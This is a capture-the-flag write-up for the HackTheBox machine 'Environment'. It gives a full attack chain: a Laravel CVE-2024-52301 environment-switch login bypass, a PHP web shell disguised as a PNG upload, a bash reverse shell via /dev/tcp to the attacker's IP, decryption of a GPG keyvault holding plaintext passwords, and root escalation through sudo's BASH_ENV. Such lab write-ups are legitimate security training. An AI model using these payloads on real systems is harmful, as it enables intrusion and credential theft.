Environment – HackTheBox Link to heading

  • OS: Linux
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar environment


Summary Link to heading

“Environment” is a Medium difficulty machine from HackTheBox platform. The target machine is running a web server using a vulnerable version of Laravel to CVE-2024-52301, a vulnerability that allows to set an environment variable in an URL. This allow us to bypass an authentication in the page and get a session as a valid user. This user is able to upload images in a profile panel. We are able to bypass restrictions and upload a PHP file, gaining code execution in the victim machine. Once inside, we are able to find and decrypt GNU Privacy Guard (GPG) files; extracting a password for a valid user in the victim machine that works for SSH. Once inside the victim machine as this user, this user is able to run sudo keeping an environment variable. This environment variable with sudo allow us to execute a script as a privilege user; escalating privileges and compromising the system.


User Link to heading

We start searching for open TCP ports with Nmap:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.67

Nmap scan shows only 2 TCP ports open: 22 SSH and 80 HTTP. Applying some recognition script over these ports with -sVC flag we get:

❯ sudo nmap -sVC -p22,80 10.10.11.67

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:13 -04
Nmap scan report for 10.10.11.67
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.64 seconds

From the output, for port 80 HTTP, we can see a domain: environment.htb.

Add this domain to our /etc/hosts file in our attacker machine:

❯ echo '10.10.11.67 environment.htb' | sudo tee -a /etc/hosts

Once added this subdomain, we use WhatWeb against the website:

❯ whatweb -a 3 http://environment.htb

http://environment.htb [200 OK] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], HttpOnly[laravel_session], IP[10.10.11.67], Laravel, Script, Title[Save the Environment | environment.htb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.22.1]

We can see that the server is running Nginx using Laravel.

Visiting http://environment.htb in a web browser shows a simple website about preserving the Earth’s environment:

Environment 1

At the bottom, the page just asks for an email if we want to get access to it. We put a random email, but we only get a successful message. But nothing besides that:

Environment 2

At this point we can search for directories through a Brute Force Directory Listing with Gobuster. Since the site is using Laravel, which uses PHP, we also search for .php files:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://environment.htb -x php -t 40

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.gitkeep             (Status: 403) [Size: 153]
/.git/logs/           (Status: 403) [Size: 153]
/.git/HEAD            (Status: 403) [Size: 153]
/.git/index           (Status: 403) [Size: 153]
/.git/config          (Status: 403) [Size: 153]
/.git_release         (Status: 403) [Size: 153]
/.config              (Status: 403) [Size: 153]
/.cvs                 (Status: 403) [Size: 153]
/.env                 (Status: 403) [Size: 153]
/.bash_history        (Status: 403) [Size: 153]
/.cvsignore           (Status: 403) [Size: 153]
/.gitignore           (Status: 403) [Size: 153]
/.gitattributes       (Status: 403) [Size: 153]
/.git-rewrite         (Status: 403) [Size: 153]
/.bashrc              (Status: 403) [Size: 153]
/.git                 (Status: 403) [Size: 153]
/.forward             (Status: 403) [Size: 153]
/.gitmodules          (Status: 403) [Size: 153]
/.gitk                (Status: 403) [Size: 153]
/.cache               (Status: 403) [Size: 153]
/.gitconfig           (Status: 403) [Size: 153]
/.gitreview           (Status: 403) [Size: 153]
/.hta                 (Status: 403) [Size: 153]
/.htaccess            (Status: 403) [Size: 153]
/.history             (Status: 403) [Size: 153]
/.htpasswd            (Status: 403) [Size: 153]
/.mysql_history       (Status: 403) [Size: 153]
/.profile             (Status: 403) [Size: 153]
/.listing             (Status: 403) [Size: 153]
/.perf                (Status: 403) [Size: 153]
/.listings            (Status: 403) [Size: 153]
/.passwd              (Status: 403) [Size: 153]
/.ssh                 (Status: 403) [Size: 153]
/.subversion          (Status: 403) [Size: 153]
/.rhosts              (Status: 403) [Size: 153]
/.sh_history          (Status: 403) [Size: 153]
/.svn                 (Status: 403) [Size: 153]
/.svn/entries         (Status: 403) [Size: 153]
/.web                 (Status: 403) [Size: 153]
/.swf                 (Status: 403) [Size: 153]
/.svnignore           (Status: 403) [Size: 153]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/favicon.ico          (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 4602]
/index.php            (Status: 200) [Size: 4602]
/login                (Status: 200) [Size: 2391]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/mailing              (Status: 405) [Size: 244854]
/node_modules/.package-lock.json (Status: 403) [Size: 153]
/robots.txt           (Status: 200) [Size: 24]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2126]
/upload               (Status: 405) [Size: 244852]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 9488 / 9490 (99.98%)
===============================================================
Finished
===============================================================

We can see a /login directory. Going to http://environment.htb/login shows a new login panel:

Environment 3

If we add a random email and a random password we only get the message Invalid credentials.

To see what happens when we attempt to log in, we can intercept the request sent with Burpsuite. We get:

POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login?error=Invalid%20credentials.
Cookie: XSRF-TOKEN=eyJpdiI6ImROMlFsN3I5bmFNVHRSR3JnWC9zWnc9PSIsInZhbHVlIjoibnpoNWV1ZDNYa3d3R1QyZHIyQ255T3RUdFBRcERqUU1EdUFrNHdZSlJUV1diN3ZEVjE1b1FvUWhmMHBmdmpxYjIrY0JhZ0tyQXZxSnNudWJ6a2VRTGwvaGFRNVdVUDQvam8rR2FmTGErU29id29mWW1aWk5QaGJqN2FVdGFXbEYiLCJtYWMiOiJmYTc5Nzc0NTIwZDRkMGNkOTNhYzJjYjcwMmRjMjJlYjkwMzIwZWQyZjNjOGZlMWYzYTM2YzFiZDBmZWJkNmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFCa0ExT2FvRmgzRHJYY3RrUDFqZGc9PSIsInZhbHVlIjoiOXc2TmVoRDdkbFIwQW5FK2tIVHkvaHNQRU1IWjZ4ckRucDdIaGtwblFnaVFWY0JtaUlyY09pQ1lnQ3NkK0htN1VLalRaVE92ZTdKL3NoU25ITnFSYXc0N1hJRWVBTUlMejY5MWorWk10UzA1dldkV2VFVHdETFcxYUpxclVFTEsiLCJtYWMiOiJkZGRiMDYxNTJhNTA5NjJmMjVlMzI2ODZmZTE5M2FlNjJjZjI1NDhiYTdkMDU4ODFlZDdhYTNlN2VmMGU4YjM4IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False

But nothing besides that.

If we visit http://environment.htb/mailing or /upload we can see an error page:

Environment 10

We can see a version: Laravel 11.30.0.

This is one of those times where the machine name gives a hint about how to solve the machine. If we search for laravel environment vulnerability we find this blog explaining a vulnerability labeled as CVE-2024-52301. Our current Laravel version is 11.30.0 and versions affected are before 11.31.0; therefore, this version might be vulnerable. In short, there is a vulnerability in how Laravel handles environment settings when PHP directive register_arc_argv is enabled. This vulnerability allow us to craft a query string that changes the environment configuration calling it in url. Searching for Proof of Concepts (PoCs) for this vulnerability we find this Github repository that gives a better explanation about this. In short, we can explote the vulnerability calling the url:

http://example.com/page?--env=<env-variable>

Since we don’t know what environment variables we could use, we can request this list for environment identifiers from SecLists along with Burpsuite. This list is not long, so using Burpsuite is enough in this case. Add in the url from the webpage the string ?--env=test, send the request to Burpsuite’s Intruder, select test word and click on Add S as follows:

Environment 4

Environment 5

Where, as payload, we select Fuzzing/environment-identifiers.txt dictionary from SecLists. Once done, click on Start Attack.

Environment 6

Once the attack has ended, click on Length to sort responses by their length. We can see a variable that has a different length:

Environment 7

All variables return a length of 1694, except for preprod, which returns a value of 1634.

Therefore, go to http://environment.htb/login, intercept a new request with Burpsuite, but this time modify the requesting url in the POST request:

POST /login?--env=preprod HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=eyJpdiI6ImdzSEh0MHhkb0hjWkwzbHR0NW9Xd0E9PSIsInZhbHVlIjoiYXF1aXpCRjc3SDZJR1pzaUM2OVkxcGlXUEpjYm8vdkFjYWFkV21aVTJWRWxKcjV5Z2RWTStSQ21RbDkzQlRYMzV6clRoMWhINk1LWXhYN2d5RW5oQ0MraXRuREZKRzF4NjZNQS9mVzBXSXV3TThFRXhSanc5d0w0U1F4c3BjZ1AiLCJtYWMiOiI2ZGVjY2M4YzlmMDJmMzI2YjE3OTIzMjdiYzkwNjgxMGJmY2JiMDY0YWY4NmI5MWUxZDhiNzgyNzhmNjMxMjdlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFzbVBVVDFsZG5hOWljNU9QNmtQdlE9PSIsInZhbHVlIjoiSW1OeWV1NVlGdFRrcEt3ZHQvMWQ1Z3lYRFRMRDc3ZkF1VmJhTDBRUGpyV21YRzgvYlZGaFViVzdXMXZWRk9LS3dtUllqL0tlVFpCKzIvMTVDNkEzV0VYU1p1eHMwRHZOT3EwWm5iazR5Q005YzlyLzZ3Rjh3UzdON0VyaGhmWXQiLCJtYWMiOiI1NGVlYmNhNjVjYTZmOGM5NjJmMGUyZGRmOWIwMDUyMmY4MmE3M2I2MWFhMDIzNjBjZmIyMjc4YmY1ODAxNDk0IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=f3uDz8P68DVOsZvErqzHc0t0AgfhZF5PGzww60Dk&email=test%40test.com&password=123&remember=False

We are redirected to http://environment.htb/mangement/dashboard site, where we can see a kind of panel:

Environment 8

If we click on Profile we can see that we are logged in as Hish user and we can update our profile picture uploading a new one:

Environment 9

I will just download the original picture that has already been uploaded for Hish user and attempt to upload it again, but this time intercepting it with Burpsuite to see if we can upload a malicious file. Download the file with wget:

❯ wget http://environment.htb/storage/files/hish.png -q

and upload it again, intercepting the upload with Burpsuite. We intercept the request:

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------3829345334277116534866207027
Content-Length: 39907
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6InNQZ1ljNGJNVTBMbWtieVBvU3B3YlE9PSIsInZhbHVlIjoiMWJqaXdVNXl6S2RVKzVmM3V1QlpkVDJJUkhoNGI0L3ZjZFJoNnVVRnl3WFliTDhQcHc4c0V6cVloTFF1OWdVRE51T0czc1FQWXVlclJmK01ISHZlNFZlSTRGamtzUzkzc3cxM3g1V0tPeW5YMzVEN3JsaGF6cnJydEdPd1IxVjQiLCJtYWMiOiJkZjA3MjQ0MDdjNjBhYmEyODNlNDM1YWVjNTg4MzA0ZDM2ZmJmMjMzMWUxOTQ5NmZjZDQyYTA1ZDQ3NmZkOTgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBQSk1rbUpKRUEyVkZNVzdSeHVXNlE9PSIsInZhbHVlIjoiS3U2MUVMbFV4UEpuZy9Ybk4rQXpYZWNTeXg2M1NjS3ZmOU4wK013YnVxa1FaNEtmSjk4S1NGdUppOE5CaldNbHYvbGtHZGxZQ2szem9zcDRLbUFDMkpvMmkzNWhvMm04N0EyNEI2a3RlU05PdHhDSi9rZitXVFVndXNrWUJlSEQiLCJtYWMiOiIwMWJjMDdkYTM2M2Y4MGMyYjVlMjFjZmUzMDY2ZWU1NmQ5ODVlYjBjZDRlNzJiYTA5N2NjMDljNWMwM2I5M2FlIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="_token"

sWHJLfkMcgW30ZdDAUPrikdHH5B7319BIg2Yk1Fx
-----------------------------3829345334277116534866207027
Content-Disposition: form-data; name="upload"; filename="hish.png"
Content-Type: image/png

‰PNG

<SNIP>

-----------------------------3829345334277116534866207027--

We note that if we name our new file as test.png, it is uploaded at:

http://environment.htb/storage/files/test.png

Similar to hish.png file we have downloaded. Therefore, images are stored at /storage/files/ directory.

We can then attempt to create a PHP file that is a Webshell and adding to it PNG magic bytes:

❯ (echo -e '\xFF\xD8\xFF\xE0'; echo '<?php system($_GET["cmd"]); ?>') > shell.png

Upload this file as a profile picture, intercepting this request. Change the filename to gunzf0x.php. (it needs to have a . at the end) and the file is uploaded:

POST /upload HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://environment.htb/management/profile
Content-Type: multipart/form-data; boundary=---------------------------4057824841326181275761716449
Content-Length: 404
Origin: http://environment.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6Ikd0U1N0ZldCbUVUS28vczNPVENOSHc9PSIsInZhbHVlIjoidEFLdGlWT2xzOGRxaDB1TXFoT3FBLzc4aFY5Y2Mxd3NEK1NGY1ROOXVhTFRIY1ZIY3h1QnBySUNMMjhhTU1hcjVpTVNMTDJ3N2ZsSTNyZG5UaGRqNDBFUE5KSWlYQVljMDhaRjBVaW4vcGVhcXhNanFmZEloNG9kQk4yYjZiYS8iLCJtYWMiOiJiNzhkNGNkOTgwYTBlZWJkNGEyM2VhMjFkNDU4MGUzOWYzYTdhMjRkY2I0NWM0NjMyODgwOTZjYTQzZGI2YzE4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IktnMEpsZkVoUWUwaGduUzZ0clY0MFE9PSIsInZhbHVlIjoiVzg0aEZLWi93R2IvZ2w3cW54NDlkbjhtdWpaN21weTM2Mm4zdHpPSjA0UFNFZGYzRHQvSngxQS9veThkOUl3SGR3Vm5tbTVCelVEb280NlhoYU5ycGhYQmVpL1U1Y2EwZnNzSVZhQzRacjVXMXN5M1NrWDZWa1pwQ0Q4bGJXK3giLCJtYWMiOiJkNWQzOTU2MDhiMzg3OTdmNjc3OGYzMzIxMWMyM2EyZDY0ZmY1ZDc4OTQyZTYzN2RlOWJmNzI5NWU0N2QyNzdkIiwidGFnIjoiIn0%3D
Priority: u=0

-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="_token"

couAZtr9LEEiSzwaXgngq4goPpweoTLfnVQWYqGr
-----------------------------4057824841326181275761716449
Content-Disposition: form-data; name="upload"; filename="gunzf0x.php."
Content-Type: image/png

ÿØÿà
<?php system($_GET["cmd"]); ?>

-----------------------------4057824841326181275761716449--

Check if our file has been uploaded and if we can execute commands with it using cURL:

❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Start a listener with netcat on port 443 and use this file to send us a reverse shell:

❯ curl -s -X GET -G 'http://environment.htb/storage/files/gunzf0x.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"'

We get a shell as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.67] 60496
bash: cannot set terminal process group (853): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$

We have 2 users in the machine: root and hish

www-data@environment:~/app/storage/app/public/files$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
hish:x:1000:1000:hish,,,:/home/hish:/bin/bash

We can see that user.txt flag is at hish home directory, but also that there is a backup directory that we can read:

www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish

total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12 11:51 ..
lrwxrwxrwx 1 root root    9 Apr  7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish  220 Jan  6 21:28 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 14:42 .bashrc
drwxr-xr-x 4 hish hish 4096 May 10 19:48 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan  6 21:43 .local
-rw-r--r-- 1 hish hish  807 Jan  6 21:28 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 backup
-rw-r--r-- 1 root hish   33 May 10 17:10 user.txt

Inside this directory we have a keyvault.gpg file:

www-data@environment:~/app/storage/app/public/files$ ls -la /home/hish/backup
total 12

drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 May 10 19:49 keyvault.gpg
Info
A .gpg file is a public keyring file. GPG is a free and open-source implementation of the OpenPGP standard, used for encrypting, decrypting, and digitally signing data. This file stores public keys used to verify the authenticity of messages and files.

It is an encrypted file.

To decrypt a GNU Privacy Guard (GPG) file we have 2 options, use our own machine modifying some keys in our system or use the victim machine using its keys. I will go for the second option. First, locate and copy .gnupg directory. This directory is usually located at the home directory of the target user. In this case hish is the user, and as we can see in the previous outout when we checked /home/hish directory, this directory does exist. Create a copy of this directory somewhere in the victim machine:

www-data@environment:~/app/storage/app/public/files$ cp -r /home/hish/.gnupg/ /tmp/gnupg_copy

Then, give permissions over the copied directory to avoid problems in the future:

www-data@environment:~/app/storage/app/public/files$ chmod -R 700 /tmp/gnupg_copy/

As a third step, we need to confirm this directory as the home directory:

www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --list-secret-keys

/tmp/gnupg_copy/pubring.kbx
---------------------------
sec   rsa2048 2025-01-11 [SC]
      F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid           [ultimate] hish_ <hish@environment.htb>
ssb   rsa2048 2025-01-11 [E]

Finally, decrypt the .gpg file and extract its content:

www-data@environment:~/app/storage/app/public/files$ gpg --homedir /tmp/gnupg_copy/ --output /tmp/content.txt --decrypt /home/hish/backup/keyvault.gpg

gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"

Read the content of the extracted message using cat:

www-data@environment:~/app/storage/app/public/files$ cat /tmp/content.txt

PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

We have 3 potential passwords.

Use NetExec to check if any of these passwords is useful to connect with SSH:

❯ nxc ssh 10.10.11.67 -u hish -p 'Ihaves0meMon$yhere123' 'marineSPm@ster!!' 'summerSunnyB3ACH!!'

SSH         10.10.11.67     22     10.10.11.67      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u5
SSH         10.10.11.67     22     10.10.11.67      [-] hish:Ihaves0meMon$yhere123
SSH         10.10.11.67     22     10.10.11.67      [+] hish:marineSPm@ster!!  Linux - Shell access!

We have credentials: hish:marineSPm@ster!!.

Connect as hish user using SSH service:

❯ sshpass -p 'marineSPm@ster!!' ssh -o stricthostkeychecking=no hish@10.10.11.67
Warning: Permanently added '10.10.11.67' (ED25519) to the list of known hosts.
Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 10 20:09:00 2025 from 10.10.16.4
hish@environment:~$

We can grab the user flag.


Root Link to heading

This user can run one command with sudo:

hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

The key here is at env_keep+="ENV BASH_ENV". We can set an environment variable as BASH_ENV.

Usually people sets SUID permissions to /bin/bash to escalate privileges. To make something a little bit different, create a copy of python3 in the system, which I will call /tmp/gunzf0x, and assign capabilities to that file. We do this creating a simple Bash script and assign to it execution permissions:

hish@environment:~$ echo -e '#/bin/bash\n\ncp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x' > /tmp/exploit

hish@environment:~$ cat /tmp/exploit

#/bin/bash

cp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x

hish@environment:~$ chmod +x /tmp/exploit

Finally, run /usr/bin/systeminfo with sudo, setting the environment variable pointing to our malicious script called /tmp/exploit:

hish@environment:~$ sudo BASH_ENV=/tmp/exploit /usr/bin/systeminfo

### Displaying kernel ring buffer logs (dmesg) ###
[    4.838808] vmwgfx 0000:00:0f.0: [drm] Available shader model: Legacy.
[    4.842101] [drm] Initialized vmwgfx 2.20.0 20211206 for 0000:00:0f.0 on minor 0
[    4.845291] fbcon: vmwgfxdrmfb (fb0) is primary device
[    4.846260] Console: switching to colour frame buffer device 160x50
<SNIP>

If we check /tmp directory, our file is there:

hish@environment:~$ ls -la /tmp

total 6728
drwxrwxrwt 10 root     root        4096 May 10 20:15 .
drwxr-xr-x 18 root     root        4096 Apr 30 00:31 ..
-rw-r--r--  1 www-data www-data     107 May 10 20:05 content.txt
-rwxr-xr-x  1 hish     hish          85 May 10 20:14 exploit
drwxrwxrwt  2 root     root        4096 May 10 17:09 .font-unix
drwx------  4 www-data www-data    4096 May 10 20:05 gnupg_copy
-rwxr-xr-x  1 root     root     6839896 May 10 20:15 gunzf0x
<SNIP>

Finally, use that file to escalate privileges:

hish@environment:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami
root

GG. We can read the root flag at /root directory.

~Happy Hacking.